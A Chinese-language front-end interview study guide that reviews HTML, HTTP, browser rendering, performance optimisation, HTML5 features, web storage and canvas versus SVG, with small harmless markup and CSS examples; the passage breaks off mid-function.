# 基础篇

前端基础题型,快速过一遍即可

面试经验谈

# 一、HTML、HTTP、WEB综合问题

# 1 前端需要注意哪些SEO

  • 合理的titledescriptionkeywords:搜索引擎对这些标签的权重逐渐减小。在title中,强调重点即可,重要关键词不要超过2次,并且要靠前。每个页面的title应该有所不同。description应该高度概括页面内容,长度适当,避免过度堆砌关键词。每个页面的description也应该有所不同。keywords标签应列举出重要关键词即可。
    • 针对title标签,可以使用重要关键词、品牌词或描述页面内容的短语。确保标题简洁、准确地概括页面的主题,并吸引用户点击。
    • 在编写description标签时,应尽量使用简洁、具有吸引力的语句来概括页面的内容,吸引用户点击搜索结果。避免堆砌关键词,以自然流畅的方式描述页面
    • keywords标签已经不再是搜索引擎排名的重要因素,但仍然可以列举出与页面内容相关的几个重要关键词,以便搜索引擎了解页面的主题。
  • 语义化的HTML代码,符合W3C规范:使用语义化的HTML代码可以让搜索引擎更容易理解网页的结构和内容。遵循W3C规范可以提高网页的可读性和可访问性,对SEO也有好处。
  • 重要内容HTML代码放在最前:搜索引擎抓取HTML的顺序是从上到下,有些搜索引擎对抓取长度有限制。因此,将重要的内容放在HTML的前面,确保重要内容一定会被抓取。
  • 重要内容不要用js输出:爬虫不会执行JavaScript,所以重要的内容不应该依赖于通过JavaScript动态生成。确保重要内容在HTML中静态存在。
  • 少用iframe:搜索引擎通常不会抓取iframe中的内容,因此应该尽量减少iframe的使用,特别是对于重要的内容。
  • 非装饰性图片必须加alt:为非装饰性图片添加alt属性,可以为搜索引擎提供关于图片内容的描述,同时也有助于可访问性。
  • 提高网站速度:网站速度是搜索引擎排序的一个重要指标

# 2 <img>titlealt有什么区别

  • title属性:title属性是HTML元素通用的属性,适用于各种元素,不仅仅是<img>标签。当鼠标滑动到元素上时,浏览器会显示title属性的内容,提供额外的信息或解释,帮助用户了解元素的用途或含义。对于<img>标签,鼠标悬停在图片上时会显示title属性的内容。

  • alt属性:alt属性是<img>标签的特有属性,用于提供图片的替代文本描述。当图片无法加载时,浏览器会显示alt属性的内容,或者在可访问性场景中,读屏器会读取alt属性的内容。alt属性的主要目的是提高图片的可访问性,使无法查看图片的用户也能了解图片的内容或含义。除了纯装饰性图片外,所有<img>标签都应该设置有意义的alt属性值。

  • 补充答案:

    • title属性主要用于提供额外的信息或提示,是对图片的补充描述,可以用于提供更详细的说明,如图片的来源、作者、相关信息等。它不是必需的,但可以增强用户体验,特别是在需要显示更多信息时。
    • alt属性是图片内容的等价描述,应该简洁明了地描述图片所表达的信息。它对于可访问性至关重要,确保无障碍用户能够理解图片的含义,同时也是搜索引擎重点分析的内容。在设置alt属性时,应该避免过度堆砌关键词,而是提供准确、有意义的描述。

# 3 HTTP的几种请求方法用途

  • GET方法:
    • 用途:发送一个请求来获取服务器上的某一资源。
    • 面试可能涉及的问题:
      1. GET方法的特点是什么?
        • GET方法是HTTP的一种请求方法,用于从服务器获取资源。
        • 它是一种幂等的方法,多次发送相同的GET请求会返回相同的结果。
      2. GET请求和POST请求的区别是什么?
        • GET请求将参数附加在URL的查询字符串中,而POST请求将参数放在请求体中。
        • GET请求的数据会显示在URL中,而POST请求的数据不会显示在URL中。
        • GET请求一般用于获取数据,而POST请求一般用于提交数据。
      3. GET请求可以有请求体吗?
        • 根据HTTP规范,GET请求不应该有请求体,参数应该通过URL的查询字符串传递。
      4. GET请求的参数如何传递?
        • GET请求的参数可以通过URL的查询字符串传递,例如:/api/users?id=123&name=poetry
      5. GET请求的安全性和幂等性如何保证?
        • GET请求不会对服务器端的资源产生副作用,因此被视为安全的。
        • GET请求是幂等的,多次发送相同的GET请求不会对服务器端产生影响。
  • POST方法:
    • 用途:向URL指定的资源提交数据或附加新的数据。
    • 面试可能涉及的问题:
      1. POST方法的特点是什么?
        • POST方法是HTTP的一种请求方法,用于向服务器提交数据。
        • 它不是幂等的,多次发送相同的POST请求可能会产生不同的结果。
      2. POST请求和GET请求的区别是什么?
        • POST请求将参数放在请求体中,而GET请求将参数附加在URL的查询字符串中。
        • POST请求的数据不会显示在URL中,而GET请求的数据会显示在URL中。
        • POST请求一般用于提交数据,而GET请求一般用于获取数据。
      3. POST请求的请求体如何传递数据?
        • POST请求的数据可以通过请求体以表单形式传递,或者以JSON等格式传递。
      4. POST请求的安全性和幂等性如何保证?
        • POST请求可能对服务器端的资源产生副作用,因此被视为不安全的。
        • POST请求不是幂等的,多次发送相同的POST请求可能会对服务器端产生影响。
  • PUT方法:
    • 用途:将数据发送给服务器,并将其存储在指定的URL位置。与POST方法不同的是,PUT方法指定了资源在服务器上的位置。
    • 面试可能涉及的问题:
      • PUT方法的特点是什么?
        • PUT方法是HTTP的一种请求方法,用于将数据发送给服务器并存储在指定的URL位置。
        • 它是一种幂等的方法,多次发送相同的PUT请求会对服务器端产生相同的结果。
      • PUT请求和POST请求有什么区别?
        • PUT请求用于指定资源在服务器上的位置,而POST请求没有指定位置。
        • PUT请求一般用于更新或替换资源,而POST请求一般用于新增资源或提交数据。
      • PUT请求的幂等性如何保证?
        • PUT请求的幂等性保证是由服务器端实现的。
        • 服务器端应该根据请求中的资源位置来处理请求,多次发送相同的PUT请求会对该位置上的资源进行相同的更新或替换操作。
  • HEAD方法
    • 只请求页面的首部
  • DELETE方法
    • 删除服务器上的某资源
  • OPTIONS方法
    • 它用于获取当前URL所支持的方法。如果请求成功,会有一个Allow的头包含类似“GET,POST”这样的信息
  • TRACE方法
    • TRACE方法被用于激发一个远程的,应用层的请求消息回路
  • CONNECT方法
    • 把请求连接转换到透明的TCP/IP通道

# 4 从浏览器地址栏输入url到显示页面的步骤

基础版本

  • 浏览器根据请求的URL交给DNS域名解析,找到真实IP,向服务器发起请求;
  • 服务器交给后台处理完成后返回数据,浏览器接收文件(HTML、JS、CSS、图象等);
  • 浏览器对加载到的资源(HTML、JS、CSS等)进行语法解析,建立相应的内部数据结构(如HTMLDOM);
  • 载入解析到的资源文件,渲染页面,完成。

详细版

  1. 在浏览器地址栏输入URL
  2. 浏览器查看缓存,如果请求资源在缓存中并且新鲜,跳转到转码步骤
    1. 如果资源未缓存,发起新请求
    2. 如果已缓存,检验是否足够新鲜,足够新鲜直接提供给客户端,否则与服务器进行验证。
    3. 检验新鲜通常有两个HTTP头进行控制ExpiresCache-Control
      • HTTP1.0提供Expires,值为一个绝对时间表示缓存新鲜日期
      • HTTP1.1增加了Cache-Control: max-age=,值为以秒为单位的最大新鲜时间
  3. 浏览器解析URL获取协议,主机,端口,path
  4. 浏览器组装一个HTTP(GET)请求报文
  5. 浏览器获取主机ip地址,过程如下:
    1. 浏览器缓存
    2. 本机缓存
    3. hosts文件
    4. 路由器缓存
    5. ISP DNS缓存
    6. DNS递归查询(可能存在负载均衡导致每次IP不一样)
  6. 打开一个socket与目标IP地址,端口建立TCP链接,三次握手如下:
    1. 客户端发送一个TCP的SYN=1,Seq=X的包到服务器端口
    2. 服务器发回SYN=1, ACK=X+1, Seq=Y的响应包
    3. 客户端发送ACK=Y+1, Seq=Z
  7. TCP链接建立后发送HTTP请求
  8. 服务器接受请求并解析,将请求转发到服务程序,如虚拟主机使用HTTP Host头部判断请求的服务程序
  9. 服务器检查HTTP请求头是否包含缓存验证信息如果验证缓存新鲜,返回304等对应状态码
  10. 处理程序读取完整请求并准备HTTP响应,可能需要查询数据库等操作
  11. 服务器将响应报文通过TCP连接发送回浏览器
  12. 浏览器接收HTTP响应,然后根据情况选择关闭TCP连接或者保留重用,关闭TCP连接的四次握手如下
    1. 主动方发送Fin=1, Ack=Z, Seq= X报文
    2. 被动方发送ACK=X+1, Seq=Z报文
    3. 被动方发送Fin=1, ACK=X, Seq=Y报文
    4. 主动方发送ACK=Y, Seq=X报文
  13. 浏览器检查响应状态吗:是否为1XX,3XX, 4XX, 5XX,这些情况处理与2XX不同
  14. 如果资源可缓存,进行缓存
  15. 对响应进行解码(例如gzip压缩)
  16. 根据资源类型决定如何处理(假设资源为HTML文档)
  17. 解析HTML文档,构件DOM树,下载资源,构造CSSOM树,执行js脚本,这些操作没有严格的先后顺序,以下分别解释
  18. 构建DOM树
    1. Tokenizing:根据HTML规范将字符流解析为标记
    2. Lexing:词法分析将标记转换为对象并定义属性和规则
    3. DOM construction:根据HTML标记关系将对象组成DOM树
  19. 解析过程中遇到图片、样式表、js文件,启动下载
  20. 构建CSSOM树
    1. Tokenizing:字符流转换为标记流
    2. Node:根据标记创建节点
    3. CSSOM:节点创建CSSOM树
  21. 根据DOM树和CSSOM树构建渲染树 (opens new window):
    1. 从DOM树的根节点遍历所有可见节点,不可见节点包括:1)script,meta这样本身不可见的标签。2)被css隐藏的节点,如display: none
    2. 对每一个可见节点,找到恰当的CSSOM规则并应用
    3. 发布可视节点的内容和计算样式
  22. js解析如下
    1. 浏览器创建Document对象并解析HTML,将解析到的元素和文本节点添加到文档中,此时document.readystate为loading
    2. HTML解析器遇到没有async和defer的script时,将他们添加到文档中,然后执行行内或外部脚本。这些脚本会同步执行,并且在脚本下载和执行时解析器会暂停。这样就可以用document.write()把文本插入到输入流中。同步脚本经常简单定义函数和注册事件处理程序,他们可以遍历和操作script和他们之前的文档内容
    3. 当解析器遇到设置了async属性的script时,开始下载脚本并继续解析文档。脚本会在它下载完成后尽快执行,但是解析器不会停下来等它下载。异步脚本禁止使用document.write(),它们可以访问自己script和之前的文档元素
    4. 当文档完成解析,document.readState变成interactive
    5. 所有defer脚本会按照在文档出现的顺序执行,延迟脚本能访问完整文档树,禁止使用document.write()
    6. 浏览器在Document对象上触发DOMContentLoaded事件
    7. 此时文档完全解析完成,浏览器可能还在等待如图片等内容加载,等这些内容完成载入并且所有异步脚本完成载入和执行,document.readState变为complete,window触发load事件
  23. 显示页面(HTML解析过程中会逐步显示页面)

详细简版

  1. 从浏览器接收url到开启网络请求线程(这一部分可以展开浏览器的机制以及进程与线程之间的关系)
  2. 开启网络线程到发出一个完整的HTTP请求(这一部分涉及到dns查询,TCP/IP请求,五层因特网协议栈等知识)
  3. 从服务器接收到请求到对应后台接收到请求(这一部分可能涉及到负载均衡,安全拦截以及后台内部的处理等等)
  4. 后台和前台的HTTP交互(这一部分包括HTTP头部、响应码、报文结构、cookie等知识,可以提下静态资源的cookie优化,以及编码解码,如gzip压缩等)
  5. 单独拎出来的缓存问题,HTTP的缓存(这部分包括http缓存头部,ETagcatch-control等)
  6. 浏览器接收到HTTP数据包后的解析流程(解析html-词法分析然后解析成dom树、解析css生成css规则树、合并成render树,然后layoutpainting渲染、复合图层的合成、GPU绘制、外链资源的处理、loadedDOMContentLoaded等)
  7. CSS的可视化格式模型(元素的渲染规则,如包含块,控制框,BFCIFC等概念)
  8. JS引擎解析过程(JS的解释阶段,预处理阶段,执行阶段生成执行上下文,VO,作用域链、回收机制等等)
  9. 其它(可以拓展不同的知识模块,如跨域,web安全,hybrid模式等等内容)

# 5 如何进行网站性能优化

  • content方面
    • 减少HTTP请求:合并文件、CSS精灵、inline Image
    • 减少DNS查询:DNS缓存、将资源分布到恰当数量的主机名
    • 减少DOM元素数量
  • Server方面
    • 使用CDN
    • 配置ETag
    • 对组件使用Gzip压缩
  • Cookie方面
    • 减小cookie大小
  • css方面
    • 将样式表放到页面顶部
    • 不使用CSS表达式
    • 使用<link>不使用@import
  • Javascript方面
    • 将脚本放到页面底部
    • javascriptcss从外部引入
    • 压缩javascriptcss
    • 删除不需要的脚本
    • 减少DOM访问
  • 图片方面
    • 优化图片:根据实际颜色需要选择色深、压缩
    • 优化css精灵
    • 不要在HTML中拉伸图片

你有用过哪些前端性能优化的方法?

  • 减少http请求次数:CSS Sprites, JSCSS源码压缩、图片大小控制合适;网页GzipCDN托管,data缓存 ,图片服务器。
  • 前端模板 JS+数据,减少由于HTML标签导致的带宽浪费,前端用变量保存AJAX请求结果,每次操作本地变量,不用请求,减少请求次数
  • innerHTML代替DOM操作,减少DOM操作次数,优化javascript性能。
  • 当需要设置的样式很多时设置className而不是直接操作style
  • 少用全局变量、缓存DOM节点查找的结果。减少IO读取操作
  • 避免使用CSS Expression(css表达式)又称Dynamic properties(动态属性)
  • 图片预加载,将样式表放在顶部,将脚本放在底部 加上时间戳
  • 避免在页面的主体布局中使用tabletable要等其中的内容完全下载之后才会显示出来,显示比div+css布局慢

谈谈性能优化问题

  • 代码层面:避免使用css表达式,避免使用高级选择器,通配选择器
  • 缓存利用:缓存Ajax,使用CDN,使用外部jscss文件以便缓存,添加Expires头,服务端配置Etag,减少DNS查找等
  • 请求数量:合并样式和脚本,使用css图片精灵,初始首屏之外的图片资源按需加载,静态资源延迟加载
  • 请求带宽:压缩文件,开启GZIP

前端性能优化最佳实践?

  • 性能评级工具(PageSpeedYSlow
  • 合理设置 HTTP 缓存:ExpiresCache-control
  • 静态资源打包,开启 Gzip 压缩(节省响应流量)
  • CSS3 模拟图像,图标base64(降低请求数)
  • 模块延迟(defer)加载/异步(async)加载
  • Cookie 隔离(节省请求流量)
  • localStorage(本地存储)
  • 使用 CDN 加速(访问最近服务器)
  • 启用 HTTP/2(多路复用,并行加载)
  • 前端自动化(gulp/webpack

# 6 HTTP状态码及其含义

  • 1XX:信息状态码
    • 100 Continue 继续,一般在发送post请求时,已发送了http header之后服务端将返回此信息,表示确认,之后发送具体参数信息
  • 2XX:成功状态码
    • 200 OK 正常返回信息
    • 201 Created 请求成功并且服务器创建了新的资源
    • 202 Accepted 服务器已接受请求,但尚未处理
  • 3XX:重定向
    • 301 Moved Permanently 请求的网页已永久移动到新位置。
    • 302 Found 临时性重定向。
    • 303 See Other 临时性重定向,且总是使用 GET 请求新的 URI
    • 304 Not Modified 自从上次请求后,请求的网页未修改过。
  • 4XX:客户端错误
    • 400 Bad Request 服务器无法理解请求的格式,客户端不应当尝试再次使用相同的内容发起请求。
    • 401 Unauthorized 请求未授权。
    • 403 Forbidden 禁止访问。
    • 404 Not Found 找不到如何与 URI 相匹配的资源。
  • 5XX: 服务器错误
    • 500 Internal Server Error 最常见的服务器端错误。
    • 503 Service Unavailable 服务器端暂时无法处理请求(可能是过载或维护)

# 7 语义化的理解

语义化是指在编写HTML和CSS代码时,通过恰当的选择标签和属性,使得代码更具有语义性和可读性,使得页面结构和内容更加清晰明了。语义化的目的是让页面具备良好的可访问性、可维护性和可扩展性。

语义化的重要性体现在以下几个方面:

  1. 可访问性(Accessibility):通过使用恰当的标签和属性,可以提高页面的可访问性,使得辅助技术(如屏幕阅读器)能够更好地理解和解析页面内容,使得残障用户能够正常浏览和使用网页。
  2. 搜索引擎优化(SEO):搜索引擎更喜欢能够理解和解析的页面内容,语义化的HTML结构可以提高页面在搜索引擎结果中的排名,增加网页的曝光和访问量。
  3. 代码可读性和可维护性:使用语义化的标签和属性,可以让代码更易于阅读和理解,提高代码的可维护性。开发人员可以更快速地定位和修改特定功能或内容。
  4. 设备兼容性:不同设备和平台对于网页的渲染和解析方式有所不同,语义化的代码可以增加网页在各种设备上的兼容性,确保页面在不同环境中的正确显示和使用。

语义化在前端开发中的具体表现和实践包括以下几个方面:

  1. 选择合适的HTML标签:在构建页面结构时,选择恰当的HTML标签来描述内容的含义。例如,使用<header>表示页面的页眉,<nav>表示导航栏,<article>表示独立的文章内容等。
  2. 使用有意义的标签和属性:避免滥用<div>标签,而是选择更具语义的标签来表达内容的含义。同时,合理使用标签的属性,如alt属性用于图像的替代文本,title属性用于提供额外的信息等。
  3. 结构和层次化:通过正确嵌套和组织HTML元素,构建清晰的页面结构和层次关系。使用语义化的父子关系,让内容的层级关系更加明确,便于样式和脚本的编写和维护。
  4. 文本格式化:使用合适的标签和属性来标记文本的格式和语义。例如,使用<strong>标签表示重要文本,<em>标签表示强调文本,<blockquote>标签表示引用文本等。
  5. 无障碍支持:考虑到残障用户的需求,使用语义化的标签和属性可以提高页面的可访问性。例如,为表格添加适当的表头和描述信息,为表单元素关联标签等。
  6. CSS选择器的语义化:在编写CSS样式时,尽量使用具有语义的类名和ID,避免过于依赖元素标签选择器,以增强样式的可读性和可维护性。

通过遵循语义化的原则,我们能够构建出更具有可读性、可访问性和可维护性的前端代码,提高用户体验和开发效率。同时,也能够使网页在不同的环境和设备上保持一致的表现,增强网站的可持续性和可扩展性。

总结

  • 用正确的标签做正确的事情!
  • HTML语义化就是让页面的内容结构化,便于对浏览器、搜索引擎解析;
  • 在没有样式CSS情况下也以一种文档格式显示,并且是容易阅读的。
  • 搜索引擎的爬虫依赖于标记来确定上下文和各个关键字的权重,利于 SEO
  • 使阅读源代码的人对网站更容易将网站分块,便于阅读维护理解

# 8 介绍一下你对浏览器内核的理解?

浏览器内核是浏览器的核心组成部分,主要分为两个部分:渲染引擎(也称为布局引擎或渲染引擎)和 JavaScript 引擎。

  • 渲染引擎:渲染引擎负责解析网页的 HTML、XML、图像等内容,并将其转换为可视化的网页形式展示给用户。它负责处理网页的布局、样式计算、绘制等任务。不同浏览器的内核对网页的解释和渲染方式可能会有差异,因此不同浏览器的渲染效果也会有所不同。常见的渲染引擎包括:
    • WebKit:主要用于 Safari 和 Chrome 浏览器。
    • Gecko:主要用于 Firefox 浏览器。
    • Trident:主要用于旧版本的 Internet Explorer 浏览器。
    • Blink:基于 WebKit,用于 Chrome、Opera 和部分 Chromium 浏览器。
  • JavaScript 引擎:JavaScript 引擎负责解析和执行网页中的 JavaScript 代码,实现网页的动态交互和功能。不同浏览器的 JavaScript 引擎性能和特性也可能存在差异。常见的 JavaScript 引擎包括:
    • V8:用于 Chrome 和 Opera 浏览器,具有高性能和快速执行速度。
    • SpiderMonkey:用于 Firefox 浏览器。
    • JavaScriptCore:用于 Safari 浏览器。
  • 在早期,渲染引擎和 JavaScript 引擎没有明确的分离,它们在同一个内核中工作。随着时间的推移,JavaScript 引擎逐渐独立出来,使内核更专注于页面渲染和布局方面的任务。
  • 理解浏览器内核对于前端开发人员非常重要,因为不同的内核可能会对网页的解释和渲染产生影响,从而影响页面的布局、样式和交互效果。在开发过程中,需要考虑不同浏览器内核的差异,并进行兼容性测试和优化,以确保网页在不同浏览器上都能正确显示和运行。

# 9 html5有哪些新特性、移除了那些元素?

  • HTML5 现在已经不是 SGML 的子集,主要是关于图像,位置,存储,多任务等功能的增加
    • 新增选择器 document.querySelectordocument.querySelectorAll
    • 拖拽释放(Drag and drop) API
    • 媒体播放的 videoaudio
    • 本地存储 localStoragesessionStorage
    • 离线应用 manifest
    • 桌面通知 Notifications
    • 语意化标签 articlefooterheadernavsection
    • 增强表单控件 calendardatetimeemailurlsearch
    • 地理位置 Geolocation
    • 多任务 webworker
    • 全双工通信协议 websocket
    • 历史管理 history
    • 跨域资源共享(CORS) Access-Control-Allow-Origin
    • 页面可见性改变事件 visibilitychange
    • 跨窗口通信 PostMessage
    • Form Data 对象
    • 绘画 canvas
  • 移除的元素:
    • 纯表现的元素:basefontbigcenterfontsstrikettu
    • 对可用性产生负面影响的元素:frameframesetnoframes
  • 支持HTML5新标签:
    • IE8/IE7/IE6支持通过document.createElement方法产生的标签
    • 可以利用这一特性让这些浏览器支持HTML5新标签
    • 浏览器支持新标签后,还需要添加标签默认的样式
  • 当然也可以直接使用成熟的框架、比如html5shim

如何区分 HTML 和 HTML5

  • DOCTYPE声明、新增的结构元素、功能元素

# 10 HTML5的离线储存怎么使用,工作原理能不能解释一下?

  • 在用户没有与因特网连接时,可以正常访问站点或应用,在用户与因特网连接时,更新用户机器上的缓存文件
  • 原理:HTML5的离线存储是基于一个新建的.appcache文件的缓存机制(不是存储技术),通过这个文件上的解析清单离线存储资源,这些资源就会像cookie一样被存储了下来。之后当网络在处于离线状态下时,浏览器会通过被离线存储的数据进行页面展示
  • 如何使用:
    • 页面头部像下面一样加入一个manifest的属性;
    • cache.manifest文件的编写离线存储的资源
    • 在离线状态时,操作window.applicationCache进行需求实现
CACHE MANIFEST
#v0.11
CACHE:
js/app.js
css/style.css
NETWORK:
resourse/logo.png
FALLBACK:
/offline.html

# 11 浏览器是怎么对HTML5的离线储存资源进行管理和加载的呢

  • 在线的情况下,浏览器发现html头部有manifest属性,它会请求manifest文件,如果是第一次访问app,那么浏览器就会根据manifest文件的内容下载相应的资源并且进行离线存储。如果已经访问过app并且资源已经离线存储了,那么浏览器就会使用离线的资源加载页面,然后浏览器会对比新的manifest文件与旧的manifest文件,如果文件没有发生改变,就不做任何操作,如果文件改变了,那么就会重新下载文件中的资源并进行离线存储。
  • 离线的情况下,浏览器就直接使用离线存储的资源。

# 12 请描述一下 cookiessessionStoragelocalStorage 的区别?

  • cookie是网站为了标示用户身份而储存在用户本地终端(Client Side)上的数据(通常经过加密)
  • cookie数据始终在同源的http请求中携带(即使不需要),记会在浏览器和服务器间来回传递
  • sessionStoragelocalStorage不会自动把数据发给服务器,仅在本地保存
  • 存储大小:
    • cookie数据大小不能超过4k
    • sessionStoragelocalStorage虽然也有存储大小的限制,但比cookie大得多,可以达到5M或更大
  • 有期时间:
    • localStorage 存储持久数据,浏览器关闭后数据不丢失除非主动删除数据
    • sessionStorage 数据在当前浏览器窗口关闭后自动删除
    • cookie 设置的cookie过期时间之前一直有效,即使窗口或浏览器关闭

# 13 iframe有那些缺点?

iframe是一种在网页中嵌入其他网页或文档的标签,虽然它在某些情况下可以提供一些便利,但也存在一些缺点需要考虑:

  • 阻塞主页面的 onload 事件:当页面中存在 iframe 时,iframe 的加载会阻塞主页面的 onload 事件触发。这可能会导致页面加载速度变慢,影响用户体验。
  • 不利于 SEO:搜索引擎的爬虫程序通常不能很好地解读 iframe 内部的内容。因此,如果重要的页面内容被放置在 iframe 中,搜索引擎可能无法正确地索引和收录这些内容,从而影响网页的搜索引擎优化(SEO)。
  • 连接限制和并行加载:iframe 和主页面共享连接池,而大多数浏览器对相同域的连接数有限制。这意味着当页面中包含多个 iframe 时,浏览器需要同时处理这些连接,可能会影响页面的并行加载能力,导致页面加载速度变慢。

为了避免以上问题,可以考虑以下解决方案:

  • 尽量避免使用 iframe,特别是在主要内容部分。
  • 如果必须使用 iframe,可以通过 JavaScript 动态地给 iframe 添加 src 属性值,而不是在静态 HTML 中指定。这样可以绕开阻塞主页面的 onload 事件。 对于需要被搜索引擎索引的重要内容,避免将其放置在 iframe 中。
  • 考虑使用其他替代方案,如 AJAX 加载内容或使用现代的前端框架来实现类似的效果。
  • 总之,iframe 在某些场景下可以提供方便,但在使用时需要注意其缺点,并根据具体情况进行权衡和选择。

# 14 WEB标准以及W3C标准是什么?

WEB标准是指由万维网联盟(World Wide Web Consortium,简称W3C)制定的一系列技术规范和指南,旨在确保网页在不同的浏览器和设备上具有一致的表现和行为。这些标准涵盖了HTML、CSS、JavaScript等前端技术,并规定了它们的语法、结构、样式以及交互行为等方面的规范。

W3C标准是由W3C组织制定和推广的一系列技术标准,旨在推动网络技术的发展和互操作性。W3C是一个国际性的标准化组织,由互联网行业的各大公司、研究机构和个人组成,致力于制定并推广互联网的开放标准。W3C标准包括HTML、CSS、XML、DOM、SVG等多个技术领域,并且不断更新和演进,以适应新的需求和技术发展。

具体来说,WEB标准和W3C标准强调以下几个方面:

  • 标签闭合:HTML标签必须按照规定的格式正确闭合,以确保页面结构的准确性和一致性。
  • 标签小写:HTML标签和属性应该使用小写字母,以避免浏览器解析错误。
  • 不乱嵌套:HTML标签应该按照正确的嵌套规则进行使用,不应该出现乱七八糟的嵌套结构,以确保页面结构的清晰和可维护性。
  • 使用外链CSS和JS:将CSS样式和JavaScript代码尽可能地放在外部文件中,并通过链接的方式引入,以实现结构、行为和表现的分离,提高代码的可重用性和可维护性。

通过遵循这些标准和规范,开发人员可以编写出更加规范、可靠和跨平台的网页,确保网页在不同的浏览器和设备上得到一致的显示和行为,提供更好的用户体验。此外,遵循WEB标准和W3C标准还有助于网页的可访问性、可维护性和可扩展性,同时推动互联网技术的进步和发展。

# 15 xhtml和html有什么区别?

  • 一个是功能上的差别
    • 主要是XHTML可兼容各大浏览器、手机以及PDA,并且浏览器也能快速正确地编译网页
  • 另外是书写习惯的差别
    • XHTML 元素必须被正确地嵌套,闭合,区分大小写,文档必须拥有根元素

# 16 Doctype作用? 严格模式与混杂模式如何区分?它们有何意义?

  • DOCTYPE(文档类型声明)的作用是告知浏览器的解析器使用哪种HTMLXHTML规范来解析文档。
  • 严格模式(标准模式)是指浏览器按照HTMLXHTML的规范严格解析和渲染页面,以确保页面在不同浏览器中具有一致的展示效果和行为。在严格模式下,浏览器会按照规范要求的方式处理HTMLCSS代码。
  • 混杂模式(怪异模式或兼容模式)是指浏览器使用较宽松的解析方式来渲染页面,以模拟旧式浏览器的行为,以保证旧版网站的兼容性。在混杂模式下,浏览器可能会容忍一些不符合规范的HTML和CSS`代码,导致页面展示和行为在不同浏览器中有差异。
  • 通过DOCTYPE声明的类型来区分严格模式和混杂模式。当DOCTYPE声明为严格的HTMLXHTML规范时,浏览器会进入严格模式;当DOCTYPE声明缺失或格式不正确时,浏览器会进入混杂模式。
  • 严格模式和混杂模式的意义在于确保页面在不同浏览器中的一致性和兼容性。严格模式使开发者能够使用更规范的HTMLCSS代码,减少兼容性问题,提高网页的可靠性和可维护性。混杂模式则用于支持旧版网站,以确保这些网站在新版浏览器中能够正确显示和运行。

# 17 行内元素有哪些?块级元素有哪些? 空(void)元素有那些?行内元素和块级元素有什么区别?

  • 行内元素有:a b span img input select strong等。
  • 块级元素有:div ul ol li dl dt dd h1 h2 h3 h4等标题标签、p 段落标签等。
  • 空元素(void元素)是指没有内容的HTML元素。常见的空元素包括:<br> 换行元素、<hr> 水平线元素、<img> 图片元素、<input> 输入框元素、<link> 样式表引用元素、<meta> 元数据元素等。
  • 行内元素不可以设置宽高,不独占一行,它们会按照从左到右的顺序排列,并尽可能占据内容所需的空间。
  • 块级元素可以设置宽高,独占一行,会自动换行。块级元素会在页面上以独立的块形式展现,并占据其父元素的整个宽度。

请注意,这是以Markdown源文件格式输出的回答,不会解析Markdown内容。

# 18 HTML全局属性(global attribute)有哪些

  • class:为元素设置类标识
  • data-*: 为元素增加自定义属性
  • draggable: 设置元素是否可拖拽
  • id: 元素id,文档内唯一
  • lang: 元素内容的的语言
  • style: 行内css样式
  • title: 元素相关的建议信息

# 19 Canvas和SVG有什么区别?

  • svg绘制出来的每一个图形的元素都是独立的DOM节点,能够方便的绑定事件或用来修改。canvas输出的是一整幅画布
  • svg输出的图形是矢量图形,后期可以修改参数来自由放大缩小,不会失真和锯齿。而canvas输出标量画布,就像一张图片一样,放大会失真或者锯齿

你对Canvas和SVG的区别的描述是正确的。以下是对Canvas和SVG的更详细解释:

Canvas:

  • Canvas 是一个HTML5元素,用于在网页上绘制图形、动画和图像。
  • 通过使用JavaScript绘制图形,Canvas提供了一个像素级的绘图环境。
  • Canvas 绘制的是位图,它是由一系列的像素组成的,所以在放大时会出现像素失真或锯齿效应。
  • Canvas 不会保留绘图的对象,绘制完成后,图形将被保存为一张图片。
  • 由于绘制是基于像素的,Canvas 更适合处理像素级的图像处理、游戏开发等场景。
  • Canvas 不支持事件绑定,需要通过监听鼠标、键盘等事件来实现交互。

SVG:

  • SVG 是一种基于XML的矢量图形格式,用于在网页上绘制图形和图像。
  • SVG 使用XML描述图形,它由一系列的矢量对象组成,可以方便地修改和操作。
  • SVG 绘制的是矢量图形,它基于数学描述,可以自由缩放和变换而不会失真或产生锯齿效应。
  • SVG 保留了绘图的对象,可以对其进行修改、删除和动态操作。
  • 由于是矢量图形,SVG 更适合处理图表、数据可视化和可缩放的图形场景。
  • SVG 支持事件绑定,可以方便地为图形元素添加交互行为。

综上所述,Canvas适用于像素级绘图和动画,而SVG适用于矢量图形和可缩放的图像。选择使用Canvas还是SVG取决于具体的需求和场景。

# 20 HTML5 为什么只需要写 <!DOCTYPE HTML>

  • HTML5 不基于 SGML,因此不需要对DTD进行引用,但是需要doctype来规范浏览器的行为
  • HTML4.01基于SGML,所以需要对DTD进行引用,才能告知浏览器文档所使用的文档类型

下面是对此进行更详细的解释:

  • 在 HTML5 中,不再基于 SGML(Standard Generalized Markup Language)标准,而是定义了自己的独立规范。由于不再使用 SGML,因此不需要引用外部的 DTD(文档类型定义)来验证文档的结构和规则。
  • 因此,HTML5 只需要简单地使用 <!DOCTYPE HTML> 声明,它是一个标准模式的声明,告诉浏览器当前文档遵循的是 HTML5 规范。这样,浏览器就可以根据 HTML5 规范来解析和渲染文档,而无需引用外部的 DTD。
  • 相比之下,HTML4.01 基于 SGML 标准,需要通过 <!DOCTYPE> 声明来指定所使用的 DTD,例如 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">。这个 DTD 提供了规范的文档结构和规则,以确保浏览器正确解析和显示文档。
  • HTML5 的简化 <!DOCTYPE HTML> 声明的设计,使得创建和编写 HTML 文档更加简单和直观。此外,这也有助于提高浏览器的兼容性,因为所有的浏览器都会将文档解析为 HTML5,无需根据 DTD 进行选择和适配。
  • 总结起来,HTML5 不再依赖 SGML,因此不需要引用外部 DTD,只需使用简单的 <!DOCTYPE HTML> 声明来指定文档类型,规范浏览器的行为。

# 21 如何在页面上实现一个圆形的可点击区域?

有几种方法可以实现一个圆形的可点击区域:

  1. 使用 SVG(可缩放矢量图形):可以使用 SVG 元素 <circle> 创建一个圆形,并通过添加事件监听器实现点击功能。
<svg>
  <circle cx="50" cy="50" r="50" onclick="handleClick()"></circle>
</svg>
  1. 使用 CSS border-radius:通过设置一个具有相等宽度和高度的元素,并将 border-radius 属性设置为 50% 可以创建一个圆形区域
<div class="circle" onclick="handleClick()"></div>
.circle {
  width: 100px;
  height: 100px;
  border-radius: 50%;
}
  1. 使用纯 JavaScript 实现:通过计算鼠标点击的坐标与圆心的距离,判断点击位置是否在圆形区域内。
<div id="circle" onclick="handleClick()"></div>
#circle {
  width: 100px;
  height: 100px;
  background-color: red;
  border-radius: 50%;
}
function handleClick(event) {
